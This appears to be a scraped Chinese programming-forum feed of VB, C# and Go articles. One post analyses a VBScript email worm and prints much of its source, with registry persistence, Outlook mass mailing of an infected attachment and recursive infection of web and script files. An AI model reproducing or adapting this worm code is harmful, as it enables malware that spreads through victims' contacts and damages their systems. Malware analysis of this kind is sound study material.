每種語言都有它的特征,領會它的特征知道它的優缺點是非常必要的。盲目地選擇一種語言或追求一些風行的語言都不是什么好事。尤其容易把業余程序員給害了,現在很多人就是這樣盲目地學VB或上些速成班,然后再用微軟的控件東拼西湊的編些軟件就以為成了高手了,其實他把編程序的花拳銹腿都學來了,而把最首要的編程底子給漠視了。我在這里忠心地奉勸朋友們,請不要這樣干,要想在這方面有些作為的人最好別在花拳銹腿上浪費青春。

]]>
圖解微軟交互動畫軟件Sparkle主要功能http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2600&Page=1wangxinxin2010-12-14 14:02:51
以下內容含腳本,或可能導致頁面不正常的代碼
說明:上面顯示的是代碼內容。您可以先檢查過代碼沒問題,或修改之后再運行.
]]>
語言創新 VB 6.0與大型數據庫的無“數據源”連接http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2599&Page=1wangxinxin2010-12-14 13:59:46數據庫參考書都介紹了ODBC的手工配置方法,或者介紹了如何在代碼中進行ODBC配置。但這兩種方法都有一定的局限性: 不是當程序最終完成并分發到用戶手中后,還需要為用戶配置ODBC,顯得既麻煩又不符合專業軟件的要求;就是得編寫復雜的更改操作系統注冊表文件的程序,十分煩瑣。本文從ADO(ActiveX Data Objects)入手,介紹無需配置數據源的幾種常用大型數據庫連接方法。

本文所述的無“數據源”連接,意義不是不需要數據源,否則連接無從談起,而是不需要配置注冊數據源所進行的連接。ODBC(Open DataBase Connectivity,開放式數據庫連接)是用于連接不同數據源的標準編程語言接口。許多文章中介紹,在實現ODBC時,必須首先配置ODBC環境,進行數據源的注冊,然后才能在對數據庫編程時,對數據源進行連接、訪問和操作,并提供了用PB或VB等語言工具實現數據源注冊的具體方法。這些方法不但復雜煩瑣,而且由于參數內容不一,配置時令人感覺無所適從,不宜把握。

走近ADO

ADO是微軟提供的數據庫訪問技術。它被設計用來同新的數據訪問層OLE DB Provider一起協同工作,以提供通用數據訪問(Universal Data Access)能力。OLE DB是一個底層的數據訪問接口,用它可以訪問各種數據源,包括傳統的關系型數據庫、電子郵件系統及自定義的商業對象等。

ADO提供了一個熟悉的、高層的對OLE DB的Automation封裝接口。對那些熟悉RDO的程序員來說,可以把OLE DB看作ODBC驅動程序,如同RDO對象是ODBC驅動程序接口一樣,ADO對象是OLE DB的接口。同樣,像不同的數據庫系統需要它們自己的ODBC驅動程序一樣,不同的數據源也要求它們自己的OLE DB提供者(OLE DB provider)。目前,雖然OLE DB提供者比較少,但微軟正積極推廣該技術,并計劃用OLE DB取代ODBC。

微軟公司已宣布今后不會對VB SQL/DBLib進行升級,而且ODBC API函數一級的編程方式也不為人們所喜愛,所以,RDO今后將被以ActiveX技術為基礎的ADO所替代。ADO是基于OLE DB之上的技術,它通過內部的屬性和方法提供統一的數據庫訪問接口。

1.ADO組件

● Microsoft ActiveX Data Objects (ADO) :使客戶端應用程序能通過OLE DB提供者訪問和操作數據庫服務器中的數據。

● ActiveX Data Objects Extensions for DDL and Security(ADOX) :將ADO擴展為包括創建、修改和刪除的模式對象,如表格和過程,以及包括用于維護用戶和組以及管理對象權限的安全對象。

● ActiveX Data Objects (Multidimensional) (ADO MD): 將ADO擴展為包括指定到多維數據的對象,并允許瀏覽多維模式、查詢立方和檢索結果。

2.ADO優點

● ADO具有高度的靈活性,它可以使用相同的編程模式連接到不同的數據提供者,而不管給定提供者的特定特性。

● 較低的內存占用率。

● 具有遠程數據服務(RDS)功能,通過RDS可以在一次往返過程中將數據從服務器移動到客戶端應用程序或Web頁,并在客戶端對數據進行處理后將更新結果返回服務器。

● 同傳統的數據對象層次(DAO和RDO)不同,ADO可以獨立創建。可以只創建一個“Connection”對象,然后由多個獨立的“Recordset”對象來使用它。

● ODBC本身是以SQL Server、Oracle等關系數據庫作為訪問對象,而OLE DB則不僅限于此,它還可以對電子郵件、文本文件、復合文件、數據表等各種各樣的數據通過統一的接口進行存取。

OLE DB Provider for ODBC是ADO的默認提供者,默認值是MSDASQL,如果省略連接字符串的Provider=參數,ADO將試圖建立與該提供者的連接。

ADO的連接方式主要可分為OLE DB Privder方式與OLE DB Provider for ODBC方式。前者很明顯是微軟公司極力推薦的方式,對于ADO或RDS程序員來說,理想的環境是每個數據源都具有一個OLE DB接口,這比ODBC方式要快且所需資源更少。

ODBC Provider允許ADO連接到任何ODBC數據源。ODBC驅動程序對于當今使用的各種主要DBMS都有效,包括SQL Server、Access、FoxPro,以及諸如Oracle等非微軟數據庫產品。提供者將不受線程控制,允許使用Unicode,并將支持事務。

連接對象屬性

ConnectionString是Connection對象的屬性名稱,為可讀寫String類型,提供數據提供者或服務提供者打開到數據源的連接所需要的特定信息,包括Provider、Driver、Server、Database、DSN、UID、PWD或者Provider、Data Source、User、Password、Initial Catalog等。

1.Provider

字符串表達式,指定OLE DB數據或服務提供者的名稱,可以缺省。

一般有三種提供者:數據提供者、服務提供者和服務組件。數據提供者擁有自己的數據并將數據以表的格式顯示給應用程序。服務提供者將服務封裝,使ADO應用程序中的功能得以擴大。服務提供者也可以進一步定義為服務組件,服務組件必須連同其他服務提供者或組件一起工作。

2.Driver

字符串表達式,表示ODBC驅動程序的名稱,并不是ODBC驅動程序動態鏈接庫(DLL)的文件名。

有些驅動程序是微軟公司的產品,在安裝操作系統時就已經安裝好了; 而有些數據庫產品的驅動程序由開發數據庫產品的軟件公司隨數據庫產品一起提供,需要在安裝數據庫時選擇安裝后,才可以使用。如:Sybase數據庫驅動程序等。

3.Server(SRVR)

字符串表達式,數據庫服務名稱。

4.Database(DB)

字符串表達式,指定服務器上的數據庫名稱。即使DSN定義已經指定了數據庫,也可以在DSN之外指定Database參數以便連接到不同的數據庫。

5.DSN(Data Source)

字符串表達式,在此為空,無須指定連接的ODBC數據源的名稱。

6.UID(User ID)

字符串表達式,為ODBC數據源指定用戶標識(用戶賬號名),指定用戶必須有足夠的權限。

7.PWD(Password)

字符串表達式,為ODBC數據源指定用戶口令,必須有足夠的權限。

8.Persist Security Info

布爾類型,為True時,表明采用集成安全機制;若為False,則表明不采用集成安全機制。

無DSN(非DSN)連接

除了ADO所定義的參數外,提供者不支持任何特定連接參數,它將把任何非ADO連接參數傳遞給ODBC驅動程序管理器。下面介紹幾種常見數據庫的處理方法。

1. Visual Foxpro

[PROVIDER=MSDASQL.1]; ’或者為MSDASQL

DRIVER={Driver Name};

SourceDB=Path;

SourceType=DBF

例如:

cnna.ConnectionString = “PROVIDER=MSDASQL; ”

+ “DRIVER={Microsoft Visual Foxpro Driver};”

+ “SourceDB=D:\data\;”

+ “SourceType=DBF”

2.SQL Server

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SERVER=server;

DATABASE=database;

UID=user;

PWD=password

例如:

cnnb.ConnectionString = “PROVIDER=

MSDASQL;”

+ “DRIVER={SQL Server};”

+ “SERVER=servera;”

+ “DATABASE=pubs;”

+ “UID=sa;”

+ “PWD=yyuui”

3. Sybase數據庫

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SRVR=server; ’必須是SRVR,不能是SERVER

DB=database; ’可以是DB,也可以是DATABASE

DSN=; ’可以省略

UID=user;

PWD=passwod;

PERSIST SECURITY INFO=False

例如:

cnnc.ConnectionString=

“PROVIDER=MSDASQL;”

+ “DRIVER={Sybase System 11};”

+ “SRVR=serveru; ”

+ “DSN=;”

+ “DB=dataa;”

+ “UID=sa;”

+ “PWD=dqwe;”

+ “PERSIST SECURITY INFO=False”

4. Oracle數據庫

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SERVER=server;

databasename=database;

databasefile=path;

DSN=;

UID=user;

PWD=password;

例如:

cnnd.ConnectionString =

“PROVIDER=MSDASQL; ”

+ “DRIVER={Microsoft ODBC for Oracle};”

+ “SERVER=Webserver;”

+ “DSN=;”

+ “databasename=dataall;”

+ “databasefile=d:\data\;”

+ “UID=dba;”

+ “PWD=killer”

應用實例

下面以Sybase 11.9.2為例,編制一個簡單的工作人員管理程序,介紹ADO的具體實現方法和步驟。數據庫名稱為Workerdb,只包括一個表(Worker),其結構如下:

字段名稱    寬度       注釋

code nchar(4) 代號

name char(8) 姓名

…… …… ……

首先安裝ADO,在VB的“工程”/“引用”對話框中選擇“ActiveX Data Object 2. 5 Library”(ADODB)。其中“ADO Recordset 2. 5 Library”是一個客戶端的版本(ADOR),因為不需要Connection對象來建立與遠程數據源的聯系,所以ADOR對于客戶端的數據訪問來說已經足夠了。 下面是部分主要代碼:

1. 處理代碼

’在工程菜單中引用Microsoft ActiveX Data Object 2. 5 Library

’聲明ADO連接對象為工程級全局變量

Public cndbase As New ADODB.Connection

……

’自定義連接數據庫函數

Public Function ConnectDbase(StrConnect As String) As Boolean

On Error GoTo ErrHandle

cndbase.ConnectionString = StrConnect

cndbase.Open

cndbase.CursorLocation = adUseClient

ConnectDbase = True

Exit Function

ErrHandle:

ConnectDbase = False

End Function

Private Sub Form_Load()

……

輸入 VarServer ’服務名稱

VarDbase ’數據庫名稱

VarUser ’用戶名稱

VarPassword ’用戶口令

……

’連接數據庫,采取無DSN連接方法

StrConnect = “Provider=MSDASQL;”

+“Driver={” & VarDriver &“};”

+“SRVR=” & VarServer & “;”

+“DB=” & VarDbase & “;”

+“DSN=;”

+“UID=” & VarUser & “;”

+“PWD=” & VarPassword & “;”

+ “Persist Security Info=False” ’不采用集成安全機制

if ConnectDbase(StrConnect) Then

Exit Sub

else

myexit = MsgBox(“數據庫連接失敗!請檢查連接設置信息。”, vbOKOnly, “錯誤提示:”)

Unload me

endif

ErrHand:

myexit = MsgBox(“錯誤程序:” & Err. Source & Chr(10) & “錯誤代碼:” & Err. Number & Chr(10) & “錯誤信息:” & Err.Description, VbAbortRetryIgnore, “錯誤提示:”)

If myexit = 3 Then

Err.Clear

Unload Me

Else

If myexit = 4 Then

Err.Clear

Resume

Else

Err.Clear

Resume Next

End If

End If

End Sub

Private Sub Form_Unload()

……

cndbase.Close

Set cndbase = Nothing

End Sub

2. 建表

codbase.CommandText=“{call CREATABLE (?) }”

codbase.CommandType = adCmdText

codbase.Name = “CREATABLE”

’設定OutPut的參數

Set param = codbase.CreateParameter(“flag”, adInteger, adParamOutput)

codbase. Parameters. Append param

Set codbase. ActiveConnection = cndbase

codbase. Execute

If codbase. Parameters(0) = 0 Then

myexit = MsgBox(“建表成功!”, vbOKOnly, “程序提示:”)

Else

myexit = MsgBox(“建表失敗!”, vbOKOnly, “錯誤提示:”)

Endif

……

3. 修改

rsdbase. Open“worker”,cndbase,adOpenDynamic,adLockPessimistic,adCmdTable

rsdbase. MoveFirst

cndbase. BeginTrans

’在記錄集中進行循環更改

Do Until rsdbase.EOF

’增加20元職務代碼為1的人員的工資

If rsdbase! duty = 1 Then

rsdbase! salary = rsdbase! salary + 20

End If

rsdbase. MoveNext

Loop

rsdbase.UpdateBatch

……

4. 統計

StrSQL = “Select avg(salary), sum(salary) from worker”

rsdbase. CursorLocation = adUseClient

rsdbase. Open StrSQL,cndbase

salaryavg = rsdbase(0) ’平均工資

salarysum = rsdbase(1) ’工資總和

……

rsdbase .Close

5. 存儲過程creatable. sql

CREATE PROCEDURE dbo.creatable(@return_value integer output)

AS

Begin

Create table Workerdb..Worker

( code nchar(4) not null ,

name char(8) not null ,

year nchar(4) ,

month nchar(2) ,

day nchar(2) ,

salary numeric(18,2) ,

duty nchar(1) )

If @@error != 0

begin

select @return_value = 1

  End

 Else

Begin

select @return_value = 0

End

return

End]]>
微軟 VS2010 中 VB 和 C# 語言的增強http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2598&Page=1wangxinxin2010-12-14 13:52:57 

選擇一種編程語言是每一個程序員都要做的個人決定。這就好像對冰淇淋口味的選擇一樣。冰淇淋口味的選擇多多,但你最喜歡的口味只關系到你的個人偏好。

在Visual Studio 2010種,為了給程序員提供他們構建出色軟件時所需要的所有工具而不用局限于他們所選擇的語言,我們從好幾個方面增強了我們最流行的兩種語言,Visual Basic和C#語言的功能。

Visual Basic

Visual Basic開發團隊為了讓開發人員可以用更少的代碼完成更多的任務,集中增加了和生產力相關的功能特性。Visual Basic客戶最常提出的要求是在大多數情況下能省去為代碼聲明分成多行時所需要添加的下劃線(“_”)。Visual Basic 10增加了隱式斷行的功能特性,能在大多數情況下不要求開發人員使用下劃線來斷行。

Function Filter(
                    ByVal customers As List ( Of Customer),
                    ByVal orderCount As Integer
                   )
        Dim query =
                    From c In customers
          Where c.Orders.Count >
                orderCount
                    Select c

另一個新添加的和提高生產力有關的功能特性是自動實現屬性。有了自動實現屬性的功能,多行常規的屬性實現的代碼就可以用一行簡單的聲明代替。在加入該功能特性之前,屬性聲明經常如下所示:

Private _FavoriteFlavor As String = "Butter Pecan"
    Property FavoriteFlavor() As String
        Get
            Return _FavoriteFlavor
        End Get
        Set(ByVal value As String)
            _FavoriteFlavor = value
        End Set
    End Property
    Private _FlavorList As New List(Of Flavor)
    Property FlavorList() As List(Of Flavor)
        Get
            Return _FlavorList
        End Get
        Set(ByVal value As String)
            _FlavorList = value
        End Set
    End Property

現在,屬性聲明能用簡單的多得方法實現:

Property FavoriteFlavor As String = "Butter Pecan"
    Property FlavorList As New List(Of Flavor)

集合初始化和數組Literal也變得更加簡單。現在集合能在它們被聲明的時候就被初始化,而數組Literal的類型能交由編譯器來識別。

Dim toppings = New List(OfString) From
        {
         "sprinkles",
         "chocolate chips",
         "strawberries"
        }
    Dim cones = {"sugar cone", "waffle cone"} 'String()的類

型被編譯器識別出來

現在,Visual Basic 10.0有了更好的lambda表達式支持。現在,Lambda表達式可以包含沒有返回值的表達式,就像下面sub關鍵詞所要表達的那樣:

Array.ForEach(toppings, Sub(n) Console.WriteLine(n))

有時候,你會想在Lamdba表達式聲明中作些更復雜的工作。Visual Basic 10.0支持多行的Lamdba表達式。就像在常規Lambda表達式中一樣,編譯器將盡可能識別變量和返回類型。

Dim doubleDown = Function(n AsString)
                         If n.StartsWith("s") Then
                             Return "extra " & n
                         Else
                             Return n
                         End If
                     End Function

在Visual Basic 10.0中,和Python及Ruby語言等動態語言的互通操作也變得更加簡單。比如,下面的代碼片斷調用了一個Python庫“math.ph”中的方法:

Dim mathLib As Object = python.UseFile("math.py")
    Dim firstNumber = 44.2
    Dim secondNumber = 9.5
    mathLib.PowerOf(firstNumber, secondNumber)

C#

C# 4.0主要增強了與動態編程語言的互通性并改進了Office編程性。動態查找是C# 4.0的一個新功能,能讓你用同樣的方法使用和操作IronPython、IronRuby、JScript、HTML DOM以及標準.NET庫中的對象,不管該對象從哪里獲得。命名參數和可選參數,以及對COM客戶端支持的改進等語言方面的增強讓那些和Office API打交道的C#開發人員與Visual Basic開發人員有同樣的美妙體驗。

在你的代碼中加入新的dynamic關鍵詞能讓它的類型在運行時被動態解析而非編譯時的靜態解析。這讓動態語言用一種C#編程員覺得自然的方式在C#語言中暴露他們的對象:

dynamic dynamicObject = GetDynamicObjectFromRuby();
    dynamicObject.Foo(7);
    dynamicObject.Property = "Property value";
    dynamicObject[0] = "Indexed value";

可選方法參數對Visual Basic和C++的編程員來說再熟悉不過。現在C#編程員同樣可以使用這種參數。可選參數在方法簽名中與一個默認值一同聲明,如下所示:

private void CreateNewStudent(string name, int 

currentCredits = 0, int year = 1)

上面這個方法可以用下面任意一種方法調用:

CreateNewStudent("Chloe");
    CreateNewStudent("Zoe", 16);
    CreateNewStudent("Joey", 40, 2);

如果要省略currentCredit參數但指明year參數,可以使用新加入的命名參數功能特性(如高亮的代碼所示)。下面所有的調用都是合法的:

CreateNewStudent("Jill", year: 2);
    CreateNewStudent(name:"Bill", currentCredits: 30, year: 

2);
    CreateNewStudent("Will", currentCredits: 4);

即使不用可選參數,命名參數同時也是一種用來對你現有方法編寫自定義調用的好方法。

]]>
Go 語言初級教程http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2597&Page=1wangxinxin2010-12-14 13:51:521、Go 語言初級教程之一[變量聲明]

2、Go 語言初級教程之二[條件語句]

3、Go 語言初級教程之三[分支語句]

4、Go 語言初級教程之四[循環]

5、Go 語言初級教程之五[函數]

6、Go 語言初級教程之六[基本類型]

7、Go 語言初級教程之七[面向對象]

8、Go 語言初級教程之八[并發]

9、Go 語言初級教程之九[包]]>
VB6用戶聯名上書微軟 反對其停止技術支持http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2596&Page=1wangxinxin2010-12-14 13:47:16  這些用戶都是微軟最具價值專業項目(MVPs Most Valuable Professional program)的成員,他們稱微軟停止支持無疑于毀滅成百上千萬的Visual Basic 6 (VB6)應用軟件,拋棄了編程人員,因為他們并沒有經過新語音的培訓。

  微軟此前表示,將于本月底停止對Visual Basic 6提供標準支持,終止免費的突發事件支持和升級,這兩項服務改為收費服務再延續三年。

  MVPs不僅僅要求微軟繼續對VB6提供支持,并開發與新產品Visual Basic.Net接軌的語言。

  聯名申請書表示,“在Visual Studio IDE框架內提供新版基于COM的Visual Basic有助于微軟保持客戶已開發程序產品的價值,也可以顯示微軟致力于核心Visual Basic語言的決心,并能夠大大簡化VB.NET 推廣的過程。”

  心懷不滿的開發者稱,微軟用Visual Basic.Net (或Visual Basic 7)來代替VB6,事實上是從根本上拋棄一種語言而選擇完全不同的另一種語言。要讓基于VB6的應用軟件升級到VB.Net幾乎是不可能的,而對于VB6開發者來說學習VB.Net語言無疑于學習另一種完全陌生的復雜語言,VB.Net只在名義上屬于Visual Basic。

  聯名書表示,微軟在開發 C#語言的同時還在開發C++語言,為何在Visual Basic和VB.Net語言開發上不采用同樣的模式呢?微軟于2000年推出VB.Net后,VB6及老版本用戶大量遞減,他們并沒有轉向VB.Net,而是Java等非微軟產品。

  在北美地區,絕大多數Visual Basic開發者繼續使用VB6或更老的版本,使用VB6的開發者占45%,而使用VB.Net用戶只占34%。

  一些業界觀察人士認為,盡管開發用戶的請求可能起一定作用,但并無實際意義,因為微軟不大可能改變對于VB6的立場。

]]>
通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2595&Page=1wangxinxin2010-12-14 13:45:43讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
是少了兩個字,應為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,確實是將vbscript拒之了“窗”外,上網查了查相關資料,也多是文中提
供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
  對于一個真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時光”病毒,“愛情蟲”病毒等,
無不來勢洶洶,其實許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
為vbs正名,為了讓計算機更好,更高效的服務,我們決不應該回避優秀的軟件工具,
采取被動回避的策略,等同于因噎廢食。
    本文通過對一個vbs病毒源碼的分析,介紹腳本語言在:文件系統,注冊表,以
及網絡郵件三個方面的具體應用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
這個病毒結合了許多早期病毒的優點,程序代碼簡單,高效,充分展示了vbs的全面
特點,因此拿來與大家共享,如果將這個源碼作為一個vbs開發的微型幫助文檔,一
點不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進的東
西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價格,一點
不貴),然后注意更新病毒庫就可以了。要學習 vbs,具有一些vb的基礎知識就夠了。
這個病毒的主要攻擊方法是:通過網絡及郵件進行傳播,并且不斷地向目標郵件服
務器發送大量郵件,并且在傳染過程中檢測網絡主機的名稱中是否有目標字符,如
果有則進行破壞攻擊。
下面將結合具體的程序逐步進行介紹,由于篇幅關系,對一些語句進行了縮減。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
開場白,第一個字符“@”是這個病毒傳染時的標記
on error resume next  這一句很重要,主要是在程序執行時如果發生錯誤就接著
                      執行下一條語句,防止談出出錯對話框,否則就不能偷偷
                      的干壞事啦。這里有一個技巧,就是在程序編制調試階段,
                      最好不要這一條語句,因為它會忽略錯誤,使你的調試工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      聲明各個變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個郵件地址就是被攻擊的目標,當然已經進行了修改,不是真實地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執行時隨機顯示在ie標題欄里的信息。如果你的ie標題欄
顯示了其中的某條信息,呵呵,一定要接著往下看
defpath  = "c:\readme.html"          將隨郵件一起發送的病毒體
max_size = 100000
mswkey  = "hkey_local_machine\software\microsoft\windows\"
hcuw    = "hkey_current_user\software\microsoft\wab\"
定義兩個注冊表的鍵值變量
main    執行主函數

下面就是程序中所需的各個函數的定義部分,整個vbs程序將由windows目錄中的
wscript.exe文件解釋執行,如果將這個文件改名或刪除,當然vbs程序也就不能執行
了,如此便阻止了病毒的執行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺
毒的速度快,如果出現這種情況,應該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname    得到此文件名稱
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
        統對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有
        的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要
        利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。
if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)     
  executemail        打開有毒的頁面
else     
  executepage        賦值成功,進行傳染,攻擊
end if 
else
executevbs                  從病毒體文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函數主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
js_str  = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)  進行加密處理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf  = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數
opentextfile (wdf, 2, true)的三個參數分別是:
①文件名,②讀=1或寫=2,③文件不存在時是否創建;
當前,filesystemobject對于文本文件的操作有較強的優勢,對binary文件
的操作還有待加強。下面依次生成其他的文件,內容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives        所有驅動器對象
for each x in adi          遍歷所有的驅動器
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub

sub  executemail()
此函數制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str  = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc =  makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if 
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\"  獲得系統文件夾路徑名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing      關閉不用的資源,算是病毒的良好行為
end function

function makehtml(sbuffer, ihtml)
制作html文件的內容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可執行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else   
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function

function getscriptcode(languages)
此函數獲得運行時的script code,
內容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函數通過鍵值檢測網絡主機是否是攻擊目標
內容略
end function

function mk75()
檢測日期是否符合,如果符合,發控制臺命令,使系統癱瘓
end function

function sendmail()
利用outlook發送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個自動化服務器(automation servers),因此很容易實現自動發送
郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發送
郵件,可以仔細研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要發送的附件文件
set  oa  = createobject("outlook.application") 制作outlook對象
set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
for j = 1 to wab.addresslists.count            遍歷所有聯系人
eins = wab.addresslists(j)
wreg=readreg (hcuw  & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count      地址表的email記錄數
if (eaec > int(wreg)) then
  for x = 1 to eaec
  arrsm = wab.addressentries(x)
  areg = readreg(hcuw & arrsm)
  讀注冊表中的標記,避免重復發送
  if (areg = "") then
    set fm = wab.createitem(0)  創建新郵件
    with fm
    ra = int(rnd() * 7)
    .recipients.add arrsm 收件人
    .subject = title(ra) 郵件的標題
    .body = title(ra)  郵件的正文內容
    .attachments at  病毒文件作為附件
    .send        發送郵件
    writereg hcuw & arrsm, 1, "reg_dword"
    end with
  end if
  next
end if   
writereg hcuw & eins, eaec, "" 
next
set oa = nothing
window.settimeout "sendmail()", 10000  每100秒發送一次
end function

sub searchhtml(path)
這個函數遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)獲得臨時文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統文件夾路徑名
set pfo    = fso.getfolder(path)
set psfo  = pfo.subfolders
for each  ps in psfo
searchhtml(ps.path)
set pf  = ps.files
for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
  addhead pfi.path,pfi, 2
  end if     
next
next
end sub

sub killhe()
看函數名就知道硬盤又要倒霉啦
end sub

sub hackpage()
dim fi

]]>
VB真是想不到系列之二:VB《葵花寶典》--指針技http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2594&Page=1wangxinxin2010-12-14 12:35:56《VB真是想不到系列》
    每次看大師的東西到了精彩之處,我就會拍案叫絕:"哇噻,真是想不到!"。在經過很多次這種感慨之后,我發現只要我們動了腦筋,我們自己也能有讓別人想不到的東西。于是想到要把這些想不到的東拿出來和大家一起分享,希望拋磚引玉,能引出更多讓人想不到的東西。
   
                  VB真是想不到系列之二:VB《葵花寶典》--指針技術
關鍵字:VB、指針、動態內存分配、效率、安全
難度:中級至高級
要求:熟悉VB,掌握基本的C,了解匯編,了解內存分配原理。
    想當年東方不敗,黑木崖密室一戰,僅憑一根繡花針獨戰四大高手,神出鬼沒,堪稱天下武林第一高手。若想成為VB里的東方不敗,熟習VB《葵花寶典》,掌握VB指針技術,乃是不二的法門。
    欲練神功,引刀……,其實掌握VB指針技術,并不需要那么痛苦。因為說穿了,也就那么幾招,再勤加練習,終可至神出鬼沒之境。廢話少說,讓我們先從指針的定義說起。
   
    一、指針是什么?
